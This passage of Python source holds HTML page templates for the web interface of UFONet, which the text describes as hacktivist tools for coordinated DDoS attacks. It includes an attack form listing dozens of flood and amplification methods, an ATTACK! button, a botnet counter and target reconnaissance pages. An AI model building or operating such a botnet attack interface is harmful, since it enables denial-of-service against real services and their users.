  3647. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  3648. <hr><div id="extra_panel" style="display:none;">
  3649. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  3650. <td align="left"><a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  3651. <td align="left"><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  3652. <td align="left"><a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td>
  3653. <td align="left"><a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a>:</td><td align="right"> <input type="text" name="fraggle" id="fraggle" size="4" placeholder="101"></td>
  3654. </tr><tr>
  3655. <td align="left"><a href="https://en.wikipedia.org/wiki/TCP_reset_attack" target="_blank">UFORST</a>:</td><td align="right"> <input type="text" name="uforst" id="uforst" size="4" placeholder="101"></td>
  3656. <td align="left"><a href="https://en.wikipedia.org/wiki/Denial-of-service_attack#Reflected_attack" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  3657. <td align="left"><a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  3658. <td align="left"><a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td>
  3659. </tr><tr>
  3660. <td align="left"><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a>:</td><td align="right"> <input type="text" name="droper" id="droper" size="4" placeholder="101"></td>
  3661. <td align="left"><a href="https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol" target="_blank">SNIPER</a>:</td><td align="right"> <input type="text" name="sniper" id="sniper" size="4" placeholder="100"></td>
  3662. <td align="left"><a href="https://en.wikipedia.org/wiki/DNS_amplification_attack" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="100"></td>
  3663. <td align="left"><a href="https://en.wikipedia.org/wiki/Ping_flood" target="_blank">PINGER</a>:</td><td align="right"> <input type="text" name="pinger" id="pinger" size="4" placeholder="101"></td>
  3664. </tr><tr>
  3665. <td align="left"><a href="https://en.wikipedia.org/wiki/NTP_server_misuse_and_abuse" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="101"></td>
  3666. <td align="left"><a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">UFOACK</a>:</td><td align="right"> <input type="text" name="ufoack" id="ufoack" size="4" placeholder="100"></td>
  3667. <td align="left"><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack#Overlapping_fragment_attack" target="_blank">OVERLAP</a>:</td><td align="right"> <input type="text" name="overlap" id="overlap" size="4" placeholder="100"></td>
  3668. <td align="left"><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a>:</td><td align="right"> <input type="text" name="ufoudp" id="ufoudp" size="4" placeholder="101"></td>
  3669. </tr><tr>
  3670. <td align="left"><a href="https://en.wikipedia.org/wiki/Sockstress" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="1001"></td>
  3671. <td align="left"><a href="https://en.wikipedia.org/wiki/Memcached" target="_blank">MEMCACHED</a>:</td><td align="right"> <input type="text" name="memcached" id="memcached" size="4" placeholder="101"></td>
  3672. <td align="left"><a href="https://en.wikipedia.org/wiki/Character_Generator_Protocol" target="_blank">CHARGEN</a>:</td><td align="right"> <input type="text" name="chargen" id="chargen" size="4" placeholder="101"></td>
  3673. <td align="left"><a href="https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol" target="_blank">CLDAP</a>:</td><td align="right"> <input type="text" name="cldap" id="cldap" size="4" placeholder="101"></td>
  3674. </tr><tr>
  3675. <td align="left"><a href="https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol" target="_blank">SSDP</a>:</td><td align="right"> <input type="text" name="ssdp" id="ssdp" size="4" placeholder="101"></td>
  3676. <td align="left"><a href="https://en.wikipedia.org/wiki/QOTD" target="_blank">QOTD</a>:</td><td align="right"> <input type="text" name="qotd" id="qotd" size="4" placeholder="101"></td>
  3677. <td align="left"><a href="https://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol" target="_blank">TFTP</a>:</td><td align="right"> <input type="text" name="tftp" id="tftp" size="4" placeholder="101"></td>
  3678. <td align="left"><a href="https://en.wikipedia.org/wiki/WS-Discovery" target="_blank">WSDISCO</a>:</td><td align="right"> <input type="text" name="wsdisco" id="wsdisco" size="4" placeholder="101"></td>
  3679. </tr><tr>
  3680. <td align="left"><a href="https://en.wikipedia.org/wiki/Constrained_Application_Protocol" target="_blank">COAP</a>:</td><td align="right"> <input type="text" name="coap" id="coap" size="4" placeholder="101"></td>
  3681. <td align="left"><a href="https://en.wikipedia.org/wiki/Microsoft_SQL_Server" target="_blank">MSSQL</a>:</td><td align="right"> <input type="text" name="mssql" id="mssql" size="4" placeholder="101"></td>
  3682. <td align="left"><a href="https://en.wikipedia.org/wiki/Apple_Remote_Desktop" target="_blank">ARMS</a>:</td><td align="right"> <input type="text" name="arms" id="arms" size="4" placeholder="101"></td>
  3683. <td align="left"><a href="https://en.wikipedia.org/wiki/Plex_(software)" target="_blank">PLEX</a>:</td><td align="right"> <input type="text" name="plex" id="plex" size="4" placeholder="101"></td>
  3684. </tr><tr>
  3685. <td align="left"><a href="https://en.wikipedia.org/wiki/NetBIOS" target="_blank">NETBIOS</a>:</td><td align="right"> <input type="text" name="netbios" id="netbios" size="4" placeholder="101"></td>
  3686. <td align="left"><a href="https://en.wikipedia.org/wiki/Routing_Information_Protocol" target="_blank">RIPV1</a>:</td><td align="right"> <input type="text" name="ripv1" id="ripv1" size="4" placeholder="101"></td>
  3687. <td align="left"><a href="https://en.wikipedia.org/wiki/Network_middlebox" target="_blank">MIDDLEBOX</a>:</td><td align="right"> <input type="text" name="middlebox" id="middlebox" size="4" placeholder="101"></td>
  3688. <td align="left"><a href="https://en.wikipedia.org/wiki/HTTP/2" target="_blank">RAPIDRESET</a>:</td><td align="right"> <input type="text" name="rapidreset" id="rapidreset" size="4" placeholder="101"></td>
  3689. </tr><tr>
  3690. <td align="left"><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">SLOWREAD</a>:</td><td align="right"> <input type="text" name="slowread" id="slowread" size="4" placeholder="101"></td>
  3691. <td align="left"><a href="https://en.wikipedia.org/wiki/Denial-of-service_attack#Application-layer_attacks" target="_blank">GOLDENEYE</a>:</td><td align="right"> <input type="text" name="goldeneye" id="goldeneye" size="4" placeholder="101"></td>
  3692. <td align="left"><a href="https://en.wikipedia.org/wiki/Transmission_Control_Protocol#Connection_termination" target="_blank">FINFLOOD</a>:</td><td align="right"> <input type="text" name="finflood" id="finflood" size="4" placeholder="101"></td>
  3693. </tr>
  3694. </table>
  3695. <hr>
  3696. Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  3697. <hr></div>
  3698. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  3699. </td></tr></table>
  3700. </td></tr></table>
  3701. <hr>
  3702. <div id="cmdOut"></div>
  3703. """ + self.pages["/footer"]
  3704. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  3705. function show(one) {
  3706. var nb = document.getElementsByTagName("div");
  3707. for(var x=0; x<nb.length; x++) {
  3708. name = nb[x].getAttribute("class");
  3709. if (name == 'nb') {
  3710. if (nb[x].id == one) {
  3711. nb[x].style.display = 'block';
  3712. }
  3713. else {
  3714. nb[x].style.display = 'none';
  3715. }
  3716. }
  3717. }
  3718. }
  3719. function Games() {
  3720. var win_requests = window.open("games","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=640, height=480, resizable=yes", false);
  3721. }
  3722. function Browser() {
  3723. var win_requests = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=640, height=480, resizable=yes", false);
  3724. }
  3725. </script>
  3726. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3727. </head>
  3728. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3729. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3730. <center>
  3731. <table cellpadding="38" cellspacing="38">
  3732. <tr>
  3733. <td>
  3734. <table cellpadding="24" cellspacing="25" border="1">
  3735. <tr>
  3736. <td>
  3737. <center>
  3738. <a href="javascript:alert('DAIALAFSÄ & LUÄRKS says: Hi! """ + self.ranking + """, The first steps are easy ... RTFM! ;-)');"><img src='data:image/png;base64,"""+self.aliens_img+"""'></a>
  3739. </center>
  3740. </td>
  3741. <td><pre>
  3742. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  3743. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - Is a set of <a href="https://en.wikipedia.org/wiki/Hacktivism" target="_blank">hacktivist</a> tools that allow launching coordinated
  3744. <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks and combine both in a single offensive.
  3745. It also works as an encrypted <a href="https://en.wikipedia.org/wiki/Darknet" target="_blank">DarkNET</a> to publish and receive
  3746. content by creating a global client/server network based on
  3747. a direct-connect <a href="https://en.wikipedia.org/wiki/Peer-to-peer" target="_blank">P2P</a> architecture.</div><div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ F.A.Q.</a></div><div class="nb" id="nb3" style="display: none;">
  3748. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Online version</a>
  3749. - <a href="/faq" target="_blank">Local version</a></div>
  3750. <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Issues</a></div><div class="nb" id="nb4" style="display: none;">
  3751. If you have questions (or technical problems)
  3752. try to solve them following next link:
  3753. - <a href="https://github.com/epsylon/ufonet/issues" target="_blank">GitHub</a> issues</div>
  3754. <div><a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ Support</a></div> <div class="nb" id="nb5" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  3755. - Coding; you can try to develop more features
  3756. - Promoting; talk about UFONet on the internet, events, <a href="https://en.wikipedia.org/wiki/Hacklab" target="_blank">hacklabs</a>, etc
  3757. - Donating; money, objects, privacy, exploits, <a href="https://en.wikipedia.org/wiki/Love" target="_blank">love</a> ;-)
  3758. - <a href="https://explorer.bitcoin.com/btc" target="_blank">Bitcoin [BTC]</a>: <b>19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw</b>
  3759. - <a href="https://ecoin.03c8.net/blockexplorer" target="_blank">Ecoin [ECO]</a>: <b>EZnYs33TG87ZzBWgADrj8653s3bPUqreW9</b></div> <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none" >+ Contact</a></div> <div class="nb" id="nb6" style="display: none;"> - <a target="_blank" href="wormhole">Wormhole</a>: irc.libera.chat / #UFONet
  3760. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  3761. </div></td></tr>
  3762. <tr>
  3763. <td># TREEMAP: <a href="/treemap" target="_blank">VIEW</a> | SHIP.BROWSER: <a href="javascript:Browser()">OPEN</a> | SHIP.GAMES: <a href="javascript:Games()">PLAY!</a> #
  3764. </td></tr>
  3765. <tr>
  3766. <td><h2><u>Types of Attacks:</u></h2>
  3767. <table cellpadding="5" cellspacing="5" border="1"><tr>
  3768. <td><a href="https://en.wikipedia.org/wiki/Denial-of-service_attack#Application-layer_attacks" target="_blank">LAYER-7</a></td>
  3769. <td><a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a></td>
  3770. <td><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a></td>
  3771. <td><a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a></td>
  3772. <td><a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a></td>
  3773. <td><a href="https://en.wikipedia.org/wiki/TCP_reset_attack" target="_blank">UFORST</a></td>
  3774. <td><a href="https://en.wikipedia.org/wiki/Denial-of-service_attack#Reflected_attack" target="_blank">SPRAY</a></td>
  3775. <td><a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a></td>
  3776. <td><a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a></td></tr><tr>
  3777. <td><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a></td>
  3778. <td><a href="https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol" target="_blank">SNIPER</a></td>
  3779. <td><a href="https://en.wikipedia.org/wiki/DNS_amplification_attack" target="_blank">TACHYON</a></td>
  3780. <td><a href="https://en.wikipedia.org/wiki/Ping_flood" target="_blank">PINGER</a></td>
  3781. <td><a href="https://en.wikipedia.org/wiki/NTP_server_misuse_and_abuse" target="_blank">MONLIST</a></td>
  3782. <td><a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">UFOACK</a></td>
  3783. <td><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack#Overlapping_fragment_attack" target="_blank">OVERLAP</a></td>
  3784. <td><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a></td>
  3785. <td><a href="https://en.wikipedia.org/wiki/Sockstress" target="_blank">NUKE</a></td></tr><tr>
  3786. <td><a href="https://en.wikipedia.org/wiki/Memcached" target="_blank">MEMCACHED</a></td>
  3787. <td><a href="https://en.wikipedia.org/wiki/Character_Generator_Protocol" target="_blank">CHARGEN</a></td>
  3788. <td><a href="https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol" target="_blank">CLDAP</a></td>
  3789. <td><a href="https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol" target="_blank">SSDP</a></td>
  3790. <td><a href="https://en.wikipedia.org/wiki/QOTD" target="_blank">QOTD</a></td>
  3791. <td><a href="https://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol" target="_blank">TFTP</a></td>
  3792. <td><a href="https://en.wikipedia.org/wiki/WS-Discovery" target="_blank">WSDISCO</a></td>
  3793. <td><a href="https://en.wikipedia.org/wiki/Constrained_Application_Protocol" target="_blank">COAP</a></td>
  3794. <td><a href="https://en.wikipedia.org/wiki/Microsoft_SQL_Server" target="_blank">MSSQL</a></td></tr><tr>
  3795. <td><a href="https://en.wikipedia.org/wiki/Apple_Remote_Desktop" target="_blank">ARMS</a></td>
  3796. <td><a href="https://en.wikipedia.org/wiki/Plex_(software)" target="_blank">PLEX</a></td>
  3797. <td><a href="https://en.wikipedia.org/wiki/NetBIOS" target="_blank">NETBIOS</a></td>
  3798. <td><a href="https://en.wikipedia.org/wiki/Routing_Information_Protocol" target="_blank">RIPV1</a></td>
  3799. <td><a href="https://en.wikipedia.org/wiki/Network_middlebox" target="_blank">MIDDLEBOX</a></td>
  3800. <td><a href="https://en.wikipedia.org/wiki/HTTP/2" target="_blank">RAPIDRESET</a></td>
  3801. <td><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">SLOWREAD</a></td>
  3802. <td><a href="https://en.wikipedia.org/wiki/Denial-of-service_attack#Application-layer_attacks" target="_blank">GOLDENEYE</a></td>
  3803. <td><a href="https://en.wikipedia.org/wiki/Transmission_Control_Protocol#Connection_termination" target="_blank">FINFLOOD</a></td>
  3804. </tr></table></td><tr>
  3805. <tr>
  3806. <td><h2><u>GUI-Modules:</u></h2>
  3807. <table cellpadding="15" cellspacing="15" border="1"><tr>
  3808. <td><a href="/news" target="_blank"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>Read NEWS from other motherships</td><td><a href="/news" target="_blank">SHIP.NEWS</a></td></tr><tr>
  3809. <td><a href="/missions" target="_blank"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>Read MISSIONS from other motherships</td><td><a href="/missions" target="_blank">SHIP.MISSIONS</a></td></tr><tr>
  3810. <td><a href="/tv" target="_blank"><img src='data:image/png;base64,"""+self.alien5_img+"""'></a></td><td>Watch TV/VIDEOS from other mothership</td><td><a href="/tv" target="_blank">SHIP.TV</a></td></tr><tr>
  3811. <td><a href="/links" target="_blank"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td><td>Check LINKS from other motherships</td><td><a href="/links" target="_blank">GLOBAL.LINKS</a></td></tr><tr>
  3812. <td><a href="/streams" target="_blank"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td><td>Watch STREAMS from other motherships</td><td><a href="/streams" target="_blank">GLOBAL.STREAMS</a></td></tr><tr>
  3813. <td><a href="/radar" target="_blank"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td><td>Search for OTHER motherships</td><td><a href="/radar" target="_blank">GLOBAL.RADAR</a></td></tr><tr>
  3814. <td><a href="/blackholes" target="_blank"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>Search for BLACKHOLES from other motherships</td><td><a href="/blackholes" target="_blank">SHIP.WARPS</a></td></tr><tr>
  3815. <td><a href="/inspect" target="_blank"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td><td>Research for INFORMATION about a target</td><td><a href="/inspect" target="_blank">SHIP.INSPECT</a><br><br><a href="/abduction" target="_blank">SHIP.ABDUCTION</a></td></tr><tr>
  3816. <td><a href="/board" target="_blank"><img src='data:image/png;base64,"""+self.alien4_img+"""'></a></td><td>Send/Receive MESSAGES from other motherships</td><td><a href="/board" target="_blank">GLOBAL.BOARD</a></td></tr><tr>
  3817. <td><a href="/grid" target="_blank"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>Review STATISTICS from other motherships</td><td><a href="/grid" target="_blank">GLOBAL.GRID</a></td></tr><tr>
  3818. <td><a href="/wargames" target="_blank"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td><td>Join WARGAMES from other motherships</td><td><a href="/wargames" target="_blank">GLOBAL.WARGAMES</a></td></tr><tr>
  3819. <td><a href="/browser" target="_blank"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td><td>Surf INTERNET from your mothership</td><td><a href="/browser" target="_blank">SHIP.BROWSER</a></td></tr><tr>
  3820. <td><a href="/games" target="_blank"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td><td>Play GAMES from your mothership</td><td><a href="/games" target="_blank">SHIP.GAMES</a></td>
  3821. </tr></table>
  3822. </td></tr>
  3823. </table>
  3824. </td></tr></table>
  3825. """ + self.pages["/footer"]
  3826. self.pages["/faq"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3827. </head>
  3828. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3829. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3830. <center>
  3831. <table cellpadding="38" cellspacing="38">
  3832. <tr>
  3833. <td>"""+self.faq_text+"""</td></tr>
  3834. </table>
  3835. """ + self.pages["/footer"]
  3836. self.pages["/globalnet"] = self.pages["/header"] + """<script language="javascript">
  3837. function Blackholes() {
  3838. var win_requests = window.open("blackholes","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3839. }
  3840. function Radar() {
  3841. var win_requests = window.open("radar","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3842. }
  3843. </script>
  3844. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3845. </head>
  3846. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3847. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3848. <center>
  3849. <table cellpadding="38" cellspacing="38">
  3850. <tr>
  3851. <td>
  3852. <div class="ringMenu">
  3853. <ul>
  3854. <li class="main"><a href="globalnet">Globalnet</a></li>
  3855. <li class="top"><a href="botnet">Botnet</a></li>
  3856. <li class="right"><a href="explore">Explore</a></li>
  3857. <li class="bottom"><a href="attack">Attack</a></li>
  3858. <li class="left"><a href="gui">RETURN</a></li>
  3859. </ul>
  3860. </div>
  3861. </td>
  3862. <td>
  3863. <table cellpadding="24" cellspacing="25" border="1">
  3864. <tr>
  3865. <td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
  3866. <td>
  3867. <ul>
  3868. <li><a href="javascript:Radar()">GLOBAL.RADAR</a>: Search for <u>other visible motherships</u></li>
  3869. </ul>
  3870. </td>
  3871. </tr>
  3872. <tr>
  3873. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td>
  3874. <td>
  3875. <ul>
  3876. <li><a href="javascript:Blackholes()">SHIP.WARPS</a>: Search for <u>blackholes shared by other motherships</u></li>
  3877. </ul>
  3878. </td>
  3879. </tr>
  3880. </table> </td></tr></table>
  3881. """ + self.pages["/footer"]
  3882. self.pages["/explore"] = self.pages["/header"] + """<script language="javascript">
  3883. function Abduction() {
  3884. var win_requests = window.open("abduction","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3885. }
  3886. function Inspect() {
  3887. var win_requests = window.open("inspect","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3888. }
  3889. </script>
  3890. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3891. </head>
  3892. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3893. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3894. <center>
  3895. <table cellpadding="38" cellspacing="38">
  3896. <tr>
  3897. <td>
  3898. <div class="ringMenu">
  3899. <ul>
  3900. <li class="main"><a href="explore"">Explore</a></li>
  3901. <li class="top"><a href="botnet">Botnet</a></li>
  3902. <li class="right"><a href="globalnet">Globalnet</a></li>
  3903. <li class="bottom"><a href="attack">Attack</a></li>
  3904. <li class="left"><a href="gui">RETURN</a></li>
  3905. </ul>
  3906. </div>
  3907. </td>
  3908. <td>
  3909. <table cellpadding="24" cellspacing="25" border="1">
  3910. <tr>
  3911. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td>
  3912. <td>
  3913. <ul>
  3914. <li><a href="javascript:Inspect()">SHIP.INSPECT</a>: Search for <u>biggest file on target</u></li><br>
  3915. <li><a href="javascript:Abduction()">SHIP.ABDUCTION</a>: Research for <u>information about target's web server</u></li>
  3916. </ul>
  3917. </td>
  3918. </tr>
  3919. </table> </td></tr></table>
  3920. """ + self.pages["/footer"]
  3921. self.pages["/shop"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3922. </head>
  3923. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3924. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3925. <center>
  3926. <table cellpadding="38" cellspacing="38">
  3927. <tr>
  3928. <td>
  3929. <table cellpadding="24" cellspacing="25" border="1">
  3930. <tr>
  3931. <td><pre>"""+self.shop_text+"""</pre></td>
  3932. </tr>
  3933. </table>
  3934. </td></tr></table>
  3935. """ + self.pages["/footer"]
